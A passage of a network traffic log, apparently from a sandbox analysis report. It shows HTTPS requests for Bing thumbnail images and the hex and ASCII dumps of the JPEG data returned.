2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 2a f3 be 13 ea d1 e9 1a 0c 37 bf 69 fd dc 97 b2 ef 7f dd 33 fd f5 df cd 70 62 e4 a0 fd 8c 63 ac ba 9e b6 1f 08 f1 14 25 3a 95 34 d7 fa f3 3c 97 47 f1 3f 9f f0 f7 5b d1 12 1f 2e fa 48 ac e3 8a 48 be 4f 33 65 ca 57 b4 68 fe 36 d7 5f c2 71 dd 3d 9f ee fe 49 23 f2 a2 9b 7d be df f6 bf dd 4f e1 fc ab e6 3f 02 b4 79 92 f6 f8 ff 00 c7 bc 9f bb 8f fd da ec 3c 39 e2 cd 4a ca eb ed b0 5d fd a1 3f e7 ce 5f b9 5e 4d 79 53 f7 69 cd bb a7 ba fe bc 82 96 71 f5 47 ec f9 6f 65 6b fd e7 b4 5f 5e 78 6a ef e2 c6 9b ad e9 77 90 c9 25 ed b3 dc 5c de dc c5 e7 3d c2 2a 79 7b 7e 75 60 9b 7c a4 fb df f3 d2 a9 68 fe 1e d2 7f e1 61 49 e2 bb a9 ae ff 00 79 73 f6 88 a3 b1 d3 ff 00 db ff 00 76 b8 2f 09 f8 f7 5a d3 fc 6d ff 00 09 2b c3 98 fe cd f6 7f b3 0f 91 36 33 ee f9 56 bd 17 4d f8 Data Ascii: 7i3pbc%:4<G?[.HHO3eWh6_q=I#}O?y<9J]?_^MySiqGoek_^xjw%\=y{~u`\|haIysv/Zm+63VM
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 7f f3 ef 1f fa ef b9 ff 00 3c ea 8a 6a 7e 74 7b ee a2 9a 39 bf e9 9d 74 b9 28 d6 f7 b6 3d 78 63 31 74 61 ec b4 94 0d 0d 52 7b bd 4f 56 b9 d4 6e a6 8b ed 77 b7 2f 25 cc 7f 73 e7 ff 00 76 92 eb 48 be b7 f9 24 b4 97 17 1f ea ee 3f e5 97 fd f7 55 6e a7 fb 44 3f 69 b2 8b cc 9a 39 36 49 1f f1 55 87 b9 f1 05 b1 8e 38 6d 25 b8 b5 8e 47 f3 23 8f fe f9 f9 ab bf 11 cb 28 46 51 57 47 9f 25 56 6f 6d 7c c9 26 5d 76 5b 5c ff 00 64 79 9e 5f c9 27 ef 7f 87 fd 9d b5 bd f0 eb 5c 4f 0d 6b 76 ba 85 97 fc 4b ae ad bc ef b4 49 17 fa e9 d1 93 fd 53 af 4a a6 d6 d2 25 af 9d 65 ff 00 7f 23 97 ee 2d 7b 1f 85 7e 24 7c 3a fe cd 8b 45 d7 bc 35 16 a3 63 67 6c 9f bd b9 b4 4b 99 a3 7f e3 ff 00 6b 6b 77 ae 59 55 5e f5 a3 a0 65 b5 e3 ed 97 be a9 db 6d 1f e3 bf de 60 47 a7 f8 5f ed 76 37 af Data Ascii: <j~t{9t(=xc1taR{OVnw/%svH$?UnD?i96IU8m%G#(FQWG%Vom\|&]v[\dy_'\OkvKISJ%e#-{~$\|:E5cglKkkwYU^em`G_v7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	375	OUT	GET /th?id=OADD2.10239400772016_15QVOA8CAZLQ6LFE4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 00:41:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 481273 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3BDB4260CE1D44DCB7DFBD53C3E8CDB7 Ref B: EWR30EDGE1421 Ref C: 2024-11-26T00:41:19Z Date: Tue, 26 Nov 2024 00:41:18 GMT Connection: close
2024-11-26 00:41:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 39 3a 31 31 20 30 39 3a 30 33 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.11 (Windows)2024:09:11 09:03:408C
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 04 b0 fc a9 bb c6 dc 9a 03 8a 56 0b 8b b9 85 1b 9b bb 51 bd 4a e0 81 43 11 c5 00 83 cd 6f 5a 72 ce c3 a8 a8 b8 34 6d 3d a8 b2 0b b2 51 70 76 fb d2 ad c9 e8 71 9a 80 a9 fc 68 5c f7 1c fb d1 ca 83 99 96 3e d0 05 38 4e a7 9a a6 d9 a3 0c 32 71 47 22 0e 76 5e 59 41 e8 69 7c ce f5 47 27 14 02 77 73 9a 5e cd 0f da 32 ff 00 9d ed 47 9f eb 54 b3 f2 e3 77 34 a5 c8 5c 37 35 3e cd 0d 54 2e ac d9 6f 6a 77 9a 9e b5 44 48 7b d2 6e f9 68 f6 68 af 68 5f 12 2f a8 34 ef 31 4a e6 b3 c3 0e f4 6e 23 bf 15 3e cc 5c e6 80 75 2b 4a 18 6e eb 59 e1 c8 f9 54 f1 d6 9c b3 1d bd 68 f6 63 55 0b f9 1d 68 04 1a a5 e7 93 c9 a5 17 14 bd 9b 2b da 22 ee 47 f7 69 31 d3 d4 55 5f 3f b9 39 a7 34 e2 97 2b 1f 3a 2c 80 3a 50 e3 1c 8e 2a 1f 34 1e 33 4e 12 e1 7a e6 97 2b 43 e6 44 c0 e2 9c af 50 79 9e Data Ascii: VQJCoZr4m=Qpvqh\>8N2qG"v^YAi\|G'ws^2GTw4\75>T.ojwDH{nhhh_/41Jn#>\u+JnYThcUh+"Gi1U_?94+:,:P*43Nz+CDPy
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 5a ae 67 07 90 71 f4 a3 cf 1b b2 39 a1 53 68 7e d6 36 dc 90 86 0b c5 0b 24 8b f8 75 a6 89 c7 66 c5 21 90 36 4e 69 f2 be a2 e7 8f 46 5a 59 8e df bd c5 3b cc cb 63 76 0d 52 ce 39 14 d2 f2 0e 45 2f 65 70 75 6c 68 89 58 75 7e 29 1a 73 dc d5 01 2b 74 34 a5 89 a5 ec 43 db 22 d3 cc 3a 66 98 67 51 c8 ef 55 24 72 7a 54 4c 49 e4 9a b8 d1 5d 4c e5 5d 9a 22 e1 4a e3 a5 2f 9a b5 98 18 8e 86 9a d2 b0 6f 5a af 60 89 fa c3 ea 69 49 22 95 eb d2 98 ce c7 9f d6 a9 c7 33 1e ab 56 55 f7 20 04 62 87 0e 52 a3 5b 9c 49 25 27 be 2a 17 9b 1c 55 89 21 05 32 07 4c 7e b5 5e 48 5b d3 8a 71 e5 22 4e 57 11 67 60 df 7a a6 86 ec 85 c3 1c fd 6a b3 a0 18 cb 0c 0a 69 64 5e 78 26 af 92 32 32 55 25 1e a6 9a 48 25 5c 02 ca 7b 60 d3 26 8c 0e ae 4d 53 86 72 18 63 38 ab 26 e3 2b b4 80 3e a2 b2 74 Data Ascii: Zgq9Sh~6$uf!6NiFZY;cvR9E/epulhXu~)s+t4C":fgQU$rzTLI]L]"J/oZ`iI"3VU bR[I%'*U!2L~^H[q"NWg`zjid^x&22U%H%\{`&MSrc8&+>t
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: d5 46 9d 8a e0 f7 a4 f3 4d 57 b2 64 ba c8 b6 b2 01 52 89 f1 d5 6b 3b cc f5 a5 f3 b1 eb 43 a5 71 2a e6 92 dc 2f 42 28 69 d0 af 35 9b e7 13 cf 39 a3 cd cf 23 8a 5e c7 52 be b1 73 40 10 79 14 67 1c 8e f5 9f e7 3e ee b4 86 79 3a 6e a7 ec 98 7b 78 9a 3f 36 df 7a 46 24 74 ac f1 3c bf df 26 97 ed 32 ed e0 f1 47 b1 61 ed e2 5e c9 ce 71 4e eb d0 55 15 ba 98 77 e6 8f b5 cb ce 5e 97 b2 90 7b 78 dc bc 01 f4 a0 82 1b 9e 05 52 5b c9 86 06 45 29 bb 94 f5 e4 d1 ec 64 3f ac 40 b7 c6 ef a5 38 04 3d 4e 3d aa 80 b9 7d df 5a 77 da e4 f4 a1 d2 90 bd bc 4b de 5a 1c 1c 8c d3 cc 79 50 33 f9 d6 77 da dc 37 dc a4 5b d9 06 71 d2 97 b1 9b 1f b7 a6 68 98 b3 48 57 0b d2 a8 8b f9 7d 06 29 7e df 27 70 3f 1a 3d 94 c7 ed e0 5f d8 db 86 d1 f9 d3 c4 47 a9 ac d5 d4 66 ea 00 14 bf da 52 f6 51 Data Ascii: FMWdRk;Cq*/B(i59#^Rs@yg>y:n{x?6zF$t<&2Ga^qNUw^{xR[E)d?@8=N=}ZwKZyP3w7[qhHW})~'p?=_GfRQ
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: ef 4c b6 16 e1 4a c8 59 5d 50 84 64 5d d9 c0 c0 cf a8 3c 73 54 5a 32 b6 1e 53 9c 4c 11 4b 6d c9 5c 64 03 9f c3 b5 5e b5 c4 b1 a4 51 15 92 47 00 aa 8e 08 e7 00 1c f3 cf 5a c6 a5 d4 77 26 5a b1 81 b7 b8 9d 1f 00 e5 81 1d 06 47 20 fe 59 ad 3f 0b ea 10 5a 7d a2 0b 87 d9 1c 8a 58 f5 01 88 52 3b 7a 86 c7 35 97 74 26 b4 76 82 40 22 e0 1e 01 c6 ee e3 07 b8 27 b5 57 18 65 5c e0 67 82 83 38 cf 7c 66 95 94 e3 e4 14 e7 28 49 35 b9 e9 17 d6 5a 6d ff 00 81 a3 b9 d1 b8 b8 b5 27 ce df 20 c5 c0 03 27 be 15 80 c9 c6 39 15 cd 0b d7 82 64 24 ae c5 8c cd 26 ce 99 00 e3 3f 80 aa 9a 45 d5 cd bc 9e 4c 52 32 a6 e2 4a 9e 84 30 db 9f ae 09 1e b5 66 4b 18 66 f0 5c a5 65 61 74 09 41 db 2b 95 04 fa 70 4f 5f 7a e7 a6 bd 94 ec de 8c f5 e8 56 55 64 ac ac ed a9 b5 e2 cd 4b 50 d3 fc 3d a6 Data Ascii: LJY]Pd]<sTZ2SLKm\d^QGZw&ZG Y?Z}XR;z5t&v@"'We\g8\|f(I5Zm' '9d$&?ELR2J0fKf\eatA+pO_zVUdKP=
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 7f 13 51 c4 67 f2 d5 df 4f 1c 76 00 9f cf 1d 29 b2 dc 18 9c ac f6 86 33 8e 11 b3 9f c3 8c 9c d6 6e 72 d8 b9 7b 6b 7b c8 8e d5 a4 b5 99 8c f6 76 c4 e4 9c bc 64 67 df 82 05 59 17 da b9 66 48 af ef 92 39 3f e5 98 9d 9d 7d 7a 67 15 2e 26 7b 75 77 82 55 53 c0 25 b3 cf d0 f3 4a 60 99 1c 05 38 07 92 1a 32 ad ec 72 2a 25 56 2f 73 35 0a f1 56 d6 c2 e8 fa e5 d6 97 33 b4 b2 6e 12 60 48 d2 29 62 ca 0e 76 92 79 c6 7b 56 f6 97 af b4 50 86 80 46 c8 e7 21 51 b6 8f 71 c5 73 37 88 0b ec 66 59 09 00 32 a8 e3 3e d9 a3 4e 82 e6 2d 4b cb ea 87 a3 a7 2d d3 ae 38 cd 3e 68 c9 1a e1 f1 15 69 ca cc ea 35 0b 9b 9d 62 30 2e c4 82 dc 30 71 18 72 57 03 d4 e4 13 f8 d3 23 b6 b0 67 40 93 5c 27 96 a0 02 a7 20 b7 b8 39 18 a8 6d 67 6b 54 20 a0 76 3c 7c f9 19 1f 85 11 bc f2 2f ca 8c d8 e4 95 Data Ascii: QgOv)3nr{k{vdgYfH9?}zg.&{uwUS%J`82r*%V/s5V3n`H)bvy{VPF!Qqs7fY2>N-K-8>hi5b0.0qrW#g@\' 9mgkT v<\|/
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: ab 6e 99 51 01 85 58 1d b2 49 17 4e d8 cf 38 cf ad 6c ae ab 1c 16 09 26 a0 0b 5c 08 f2 a1 40 21 ba e3 3d f3 8c 13 f5 af 3e 9b 54 3b 08 0c 55 48 e8 57 8e 0f 1f af ad 45 2d fa 3e f1 29 92 59 88 c9 2c 4f 06 9d 49 57 93 bd c9 8d 3a 71 4b 43 ac d3 af d8 e9 ee da 8d dc 7f 68 95 4a ee 38 5d 83 9e 46 06 72 6a 15 d7 fe c8 aa 62 bc 59 98 29 50 a4 16 c7 b1 e9 5c bd 84 8f 71 21 27 85 8c 95 60 7d ba 54 70 4e cd 21 24 00 54 91 80 41 35 8c a8 73 37 cc 6c a4 94 55 91 a5 a8 5d bd eb 9f 30 04 8f 71 65 0a 71 f3 13 92 4e 2a ac d2 c3 14 c6 12 59 be 5e 18 1d aa 3d fa 67 f3 c5 41 f6 98 56 39 09 4c b9 1f 20 eb 8f fe bd 41 1b 14 53 38 0c 09 38 e9 92 78 ef 5a 2a 6f e4 0e 7c a5 e6 7d cd bd e4 24 e3 e5 38 dd 50 48 e9 b8 ec 90 c8 0f 3d 30 46 69 cb 3a 98 d4 01 f3 36 3e 6f ff 00 5f 4a Data Ascii: nQXIN8l&\@!=>T;UHWE->)Y,OIW:qKChJ8]FrjbY)P\q!'`}TpN!$TA5s7lU]0qeqNY^=gAV9L AS88xZo\|}$8PH=0Fi:6>o_J
2024-11-26 00:41:20 UTC	16065	IN	Data Raw: 04 ab 67 07 8e 83 19 a8 ed 4c 82 f1 16 6c a1 93 01 58 8c 00 c4 f6 27 bf b5 46 cd 75 64 c2 e6 2f 30 ad c4 52 ae 10 ff 00 10 07 23 eb 93 4d d1 a5 9d 34 f5 b3 ba 7f 30 90 92 07 76 e3 27 9e 3d 0f bd 74 ab b4 f5 d0 cf 67 70 9e ce 48 75 01 77 10 dc 85 5d 5b 7c 99 e9 8c 00 0f 3d 33 49 aa 58 f9 f7 0e 04 24 b2 84 31 ba e4 6f 03 aa e4 77 c7 ad 4b a8 46 d0 47 e7 19 0b 43 23 89 10 af 27 27 39 07 38 e3 b5 5a b7 d4 37 42 44 c3 e6 8e 64 55 65 8c 8e 06 31 8e 3a 76 cf bd 3e 67 a3 34 d1 91 5a ca 8a a6 62 92 3a ae 0a 31 e4 6d e8 55 97 af 1e d5 5a f1 6d c6 b1 71 79 04 b1 c6 f7 18 54 e8 01 60 09 c0 20 1e a0 75 35 ab 35 b2 41 7d 39 b5 0b 86 f9 91 0f 52 71 9e 47 4e 7a 66 b1 3c 47 61 fe 8b 16 a5 6d 19 fb 3c 84 99 d5 30 44 4c 07 39 e0 f5 06 95 39 45 ca dd c4 b4 36 2f a7 fb 65 84 Data Ascii: gLlX'Fud/0R#M40v'=tgpHuw][\|=3IX$1owKFGC#''98Z7BDdUe1:v>g4Zb:1mUZmqyT` u55A}9RqGNzf<Gam<0DL99E6/e
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: e3 38 c9 ad ad 33 59 0b a1 98 a7 93 0c 93 89 11 18 70 78 1d 73 8c 7a fa d4 cd 4e c9 9a d3 8d 3d 53 22 d4 2c e3 b6 9b 47 b4 b8 8d c9 95 92 47 cf 66 01 78 23 d3 8a ca 9e 79 65 d4 20 11 c1 b6 dc cf 2b 33 30 f9 77 6f 23 77 e4 38 15 b1 6f ab 59 ea be 20 82 32 f9 31 ab 85 20 6e 2a c4 12 0e 45 67 5e 4f 16 9c ab 6d 37 ef 24 88 96 19 5f 52 48 23 df e9 58 c7 9b 9e d2 df fe 1c ce a4 55 ef 72 75 78 9b 49 b5 32 49 b2 45 de 91 b0 ce 58 12 4e 40 3d 73 d3 35 46 6b a7 89 84 56 c1 76 3b 85 29 9d db 0f 4c 9f ad 24 2b 25 c4 de 6c db 79 60 53 9c 05 3e 80 76 c5 56 37 30 a4 cf 12 5b c8 8e cc 7c c9 06 49 1d 46 7b 81 5b 46 09 5d 6e 0e eb 52 66 32 40 bb 52 40 cc 53 32 13 c9 00 75 c9 ff 00 0a aa 65 69 19 91 dc f6 52 d8 ce 73 dc 76 c8 cd 44 f7 12 ba b2 ac 8d 96 65 47 24 60 95 6e fd Data Ascii: 83YpxszN=S",GGfx#ye +30wo#w8oY 21 n*Eg^Om7$_RH#XUruxI2IEXN@=s5FkVv;)L$+%ly`S>vV70[\|IF{[F]nRf2@R@S2ueiRsvDeG$`n
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: e4 8e 45 59 23 61 90 71 9c 1f 51 4b b2 08 76 88 b9 6d dc 10 7d 3b 55 4b 90 1d cb 39 fb de 9c 1a d9 5e 52 b9 2a 36 57 ea 5b b6 0c e8 e5 dc 3a 95 db 9c 7f 2a 7c 60 47 12 12 46 5b 00 0e f5 51 9e 51 88 2d 9f e6 c0 23 f0 e7 14 b6 b0 c9 2b 0d cf c2 b6 40 e9 8a 4e 3d 5b 1c 77 25 91 2e 7c c2 62 00 1e 48 f4 c7 a5 0d 14 92 a9 cb f6 1b 87 a1 1d aa c3 ce b0 b0 c9 dd b1 71 50 09 3e 66 70 3e 66 1b aa a2 a4 fa 12 f9 7a 30 28 0e 15 b9 6c e7 1f 4a 65 c9 63 22 94 e0 03 51 ac f9 91 89 38 c1 ef 4a 58 98 c1 07 04 11 5d 11 8f 2b 31 94 f9 91 3a 45 34 f2 10 91 92 47 a5 5f b5 d1 af d9 81 21 57 d3 2d 9f c7 02 b2 8d ed dc 4b 88 ae 24 4f 71 e9 52 24 fa ad c6 36 4b 72 e3 a0 db 9f e9 57 6d 0c 79 8e 92 db 4d ba 44 f9 a4 58 97 bb 6d ff 00 1a bf 65 25 a4 4c 12 7d 4c 19 0f 60 54 73 e9 58 Data Ascii: EY#aqQKvm};UK9^R6W[:\|`GF[QQ-#+@N=[w%.\|bHqP>fp>fz0(lJec"Q8JX]+1:E4G_!W-K$OqR$6KrWmyMDXme%L}L`TsX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49729	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	346	OUT	GET /th?id=OADD2.10239351692182_1I6V30R2J66NF61KL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 00:41:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 731103 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 517AC9E64B084D4E8A67630D377BBDCC Ref B: EWR30EDGE1414 Ref C: 2024-11-26T00:41:19Z Date: Tue, 26 Nov 2024 00:41:19 GMT Connection: close
2024-11-26 00:41:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c c0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 36 3a 32 38 20 31 31 3a 31 33 3a 35 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 21.1 (Windows)2022:06:28 11:13:538
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 37 dc a6 49 40 9c 50 ca 2a 4e 6a 3a 08 0d b4 54 9c d1 cd 00 47 45 14 50 01 45 14 50 01 45 14 53 b9 21 45 14 53 00 a2 8a 28 00 a9 39 a3 9a 39 a0 08 ea 4e 68 e6 8e 68 02 3a 36 d4 9c d1 cd 00 47 b6 8a 93 9a 39 a0 03 9a 8e a4 e6 8e 68 24 39 a3 9a 39 a3 9a 00 39 a7 51 45 48 05 3b 75 36 8a 76 1d c7 53 a9 b4 ea 43 0d de f5 36 ed 95 0d 14 07 31 34 72 d4 fb ea 95 4d bb f7 34 1a 53 a9 65 a9 3c 8d 22 7d ca bf a1 ac 92 cd 1d 50 83 cb fe 3f f5 75 d4 78 56 da d2 e3 e7 82 6f de 57 3d 79 a8 41 b6 7a 18 3a 6e a5 55 67 f2 36 f4 79 64 78 64 47 a3 55 8a 3f b2 6c 7a b1 a6 af 93 e6 23 d4 57 5a 85 a3 f9 9b 2b c4 77 73 d1 1f 54 a2 95 25 cc ce 36 ea db f7 b2 3d 67 6d d9 f7 eb 5b 58 d4 23 4f 92 0f f5 95 87 3c b2 4b 36 f7 af 6a 92 9b 8e a8 f9 7c 5c a9 c6 76 8e e0 f5 04 9f 3d 3d e8 Data Ascii: 7I@P*Nj:TGEPEPES!ES(99Nhh:6G9h$999QEH;u6vSC614rM4Se<"}P?uxVoW=yAz:nUg6ydxdGU?lz#WZ+wsT%6=gm[X#O<K6j\|\v==
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 24 92 bb 7d 56 c7 ed 10 c6 e9 37 97 59 70 69 11 bc de 67 93 fb ca e9 86 2d ca 1c b3 67 14 f0 2a 35 14 a9 c7 63 2e 46 8e 58 63 9d 2c fc b9 23 a8 a7 b1 9e f6 d2 39 d2 1f 2e 4a ea 20 d3 e3 4f f9 63 57 6d 6c 63 ac 5e 2d 45 7b a6 d1 c1 f3 af 78 e3 e4 d0 7e d1 34 6f 3d 58 93 c3 91 fe ed d2 ba c9 2d a3 a3 c8 ac fe bb 53 a3 35 58 1a 49 dd a3 9a 8f 45 8f ec 9b 3c 9a c6 f1 06 99 1a 5a 48 89 5d f7 91 59 7e 20 b3 fd ce f4 a7 47 15 35 35 76 4d 7c 1c 25 4d e8 78 de b1 6d ff 00 13 0f 9f fd 5c 74 fb 5f 21 26 f9 ff 00 d5 d6 f6 b9 6d e6 c3 22 7f cf 3a c1 8e 2d f3 79 09 5f 4d 09 fb 48 1f 0f 5a 8b a3 5b 45 7b 85 f7 cf e6 55 0f 32 ae 5f 59 cf e7 6c a7 e9 ba 7f fa 5c 75 b4 65 15 1d cc 27 ed aa 55 51 4a c4 16 2d fe 95 b2 7a 74 f2 ec 87 62 51 7d 14 89 37 9e 90 fe ee af c1 a6 7f Data Ascii: $}V7Ypig-g*5c.FXc,#9.J OcWmlc^-E{x~4o=X-S5XIE<ZH]Y~ G55vM\|%Mxm\t_!&m":-y_MHZ[E{U2_Yl\ue'UQJ-ztbQ}7
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 8f bd 1b c6 ff 00 81 4b c5 5a 35 de 85 ab 49 65 3f fa e8 e3 4f 2e 4a ed be 0b eb 9f d9 33 5b 6a ff 00 b9 92 ee da 5f dd c7 e5 79 d3 48 bf ec c7 ed f7 aa 3f 18 ea f6 3e 38 9a 34 9f ec 96 57 5f f2 d2 5f 2b e7 ff 00 65 52 aa 78 73 4a d0 bc 3f ab 4b a7 ea f7 9f 68 7f 2f cc f3 3e 7f 27 ff 00 b2 a5 5a d5 69 38 4b 73 7c 3d 5a 74 ea aa 89 fb a7 b9 c1 f1 2f 5d d6 f5 0d 89 f6 bd 3a d6 38 de 4f 2e 5f f4 64 f9 7f f4 0a e4 bc 47 a2 e8 57 b0 c7 3d ad 9d a5 b5 f5 c4 8f 71 fe c5 c3 ff 00 17 fb bf 4a 83 c0 17 da 15 ec 31 fd 8a 18 6f 67 f2 fc c9 23 97 62 43 6f fe d3 2d 75 f6 b7 d7 7f 64 93 51 b2 d4 be cf 07 ee 63 bd d5 a2 b4 44 87 ca 93 ef 47 e6 7d e7 ff 00 80 d7 83 3c 0a a5 27 2b 5b d3 43 eb 29 e3 d5 68 a5 16 72 1a c5 9d 86 99 a2 58 e9 d7 b0 c3 1c 77 1b fe cd 7b f2 42 ff Data Ascii: KZ5Ie?O.J3[j_yH?>84W__+eRxsJ?Kh/>'Zi8Ks\|=Zt/]:8O._dGW=qJ1og#bCo-udQcDG}<'+[C)hrXw{B
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 73 5b f0 d5 c5 8d d5 bc 73 5a 4d fe b3 cb a5 18 ea ec 74 e1 e2 a2 ef 20 d3 74 eb 46 92 24 b5 87 cc 9a 49 53 fd 67 df af a6 fe 10 e9 56 9a 2f c2 db 68 6c bc 98 ef af 6f 6e 7c b9 65 f9 de 35 57 db bd ff 00 dd 55 af 9e 75 18 60 d3 e7 cb c5 e6 7d 9e 3f fb f9 5d 07 85 7e 22 dd 5a 78 7a 4b 38 09 8e de 4f f8 1f fb db 2b 1c 65 09 54 51 57 b2 4e f6 2b 07 99 7d 51 ce 73 a6 e4 de 97 ed e5 62 ff 00 c6 cf 05 5f e8 fa 85 ce ad 63 a9 1b dd 1e f6 5f 32 3b 8b 9d 9f 68 f3 5b ef ee af 57 f8 65 e2 1d 35 f4 3b 1f ec eb 39 af 64 fb 34 36 f2 7e f5 f6 47 2f f0 fc b5 e2 fa ff 00 8b 35 5d 42 19 04 c2 69 2d 7f e7 df ca d8 9f 2d 68 fc 33 f1 75 d7 85 35 0f ed 18 fc 39 15 cd 8c 92 7e f7 cd ff 00 d9 77 71 59 e2 f0 d2 c4 d0 f6 76 6a da fa 86 5d 9b aa 18 b7 39 42 d1 97 a1 e9 ff 00 b4 22 Data Ascii: s[sZMt tF$ISgV/hlon\|e5WUu`}?]~"ZxzK8O+eTQWN+}Qsb_c_2;h[We5;9d46~G/5]Bi--h3u59~wqYvj]9B"
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: d0 6e a1 9a 3d 0e de 34 fb 17 db a2 44 7d ff 00 7b 6a fe f1 ff 00 bf 27 dd fa d7 2f f0 93 c3 56 9a 3e 87 63 aa 6a 3e 4f 99 1c 73 5b dc c7 e6 ff 00 ac f3 26 dc bf fa 05 7a 18 7a 6b 0f 07 56 32 b9 c9 59 aa f3 54 a5 1b 44 fa 8f c3 be 20 b0 b0 f8 51 a8 ea da a4 d1 c7 25 95 92 5a 49 1d ec a8 f3 5c 4b e4 a3 46 db 3e f7 cf be b9 4f d9 df 50 8e e3 c0 71 e9 6f 34 31 dd 59 48 fe 5d b7 f1 f9 4d fb cd db 3f bb f3 d7 cf 57 da bd df 8a 35 bd 5a f5 e6 9a 4b e9 2f 5e 4f b4 dc dd ef f3 3f ed af fb bf c5 5d 5f c3 95 d4 b5 bf 10 c7 06 91 79 0d bd f5 c4 7e 5d b4 9e 6f 92 fb f7 fc 8d e6 7f 05 6f 83 a5 2a 15 67 88 a8 ee e5 6b f6 56 56 38 b1 b4 e3 88 a1 1c 34 34 51 77 5d 4f a6 28 af 2d 93 e2 45 de 85 0d b6 83 3f 93 a8 dd 5b c7 e5 dc ea de 6e ff 00 de ef 75 7d d1 af df c7 fb d5 Data Ascii: n=4D}{j'/V>cj>Os[&zzkV2YTD 